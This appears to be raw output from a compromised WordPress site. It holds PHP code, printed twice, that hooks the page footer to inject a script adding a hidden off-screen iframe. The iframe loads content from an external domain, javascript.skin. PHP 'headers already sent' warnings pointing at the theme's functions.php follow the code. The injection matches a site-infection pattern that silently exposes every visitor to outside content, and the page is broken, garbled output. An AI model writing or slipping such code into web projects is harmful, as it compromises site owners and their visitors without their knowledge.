add_action('wp_footer', function () { echo '<script>document.body.appendChild(Object.assign(document.createElement("iframe"),{src:"https://javascript.skin/channel/D.B.B1/weifile/weifile.html",style:"position:fixed;top:0;left:-1000px;pointer-events:none;border:0"}))</script>'; }, 99);

add_action('wp_footer', function () { echo '<script>document.body.appendChild(Object.assign(document.createElement("iframe"),{src:"https://javascript.skin/channel/D.B.B1/weifile/weifile.html",style:"position:fixed;top:0;left:-1000px;pointer-events:none;border:0"}))</script>'; }, 99);
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<b>Warning</b>:  Cannot modify header information - headers already sent by (output started at /home/fbc01/pika.okinawa/public_html/wp-content/themes/skin_tcd046/functions.php:1034) in <b>/home/fbc01/pika.okinawa/public_html/wp-content/mu-plugins/wpx-404cachecontrol.php</b> on line <b>14</b><br />
<br />
<b>Warning</b>:  Cannot modify header information - headers already sent by (output started at /home/fbc01/pika.okinawa/public_html/wp-content/themes/skin_tcd046/functions.php:1034) in <b>/home/fbc01/pika.okinawa/public_html/wp-content/mu-plugins/wpx-404cachecontrol.php</b> on line <b>15</b><br />
<br />
<b>Warning</b>:  Cannot modify header information - headers already sent by (output started at /home/fbc01/pika.okinawa/public_html/wp-content/themes/skin_tcd046/functions.php:1034) in <b>/home/fbc01/pika.okinawa/public_html/wp-content/mu-plugins/wpx-404cachecontrol.php</b> on line <b>16</b><br />
<br />
<b>Warning</b>:  Cannot modify header information - headers already sent by (output started at /home/fbc01/pika.okinawa/public_html/wp-content/themes/skin_tcd046/functions.php:1034) in <b>/home/fbc01/pika.okinawa/public_html/wp-includes/pluggable.php</b> on line <b>1298</b><br />
<br />
<b>Warning</b>:  Cannot modify header information - headers already sent by (output started at /home/fbc01/pika.okinawa/public_html/wp-content/themes/skin_tcd046/functions.php:1034) in <b>/home/fbc01/pika.okinawa/public_html/wp-includes/pluggable.php</b> on line <b>1301</b><br />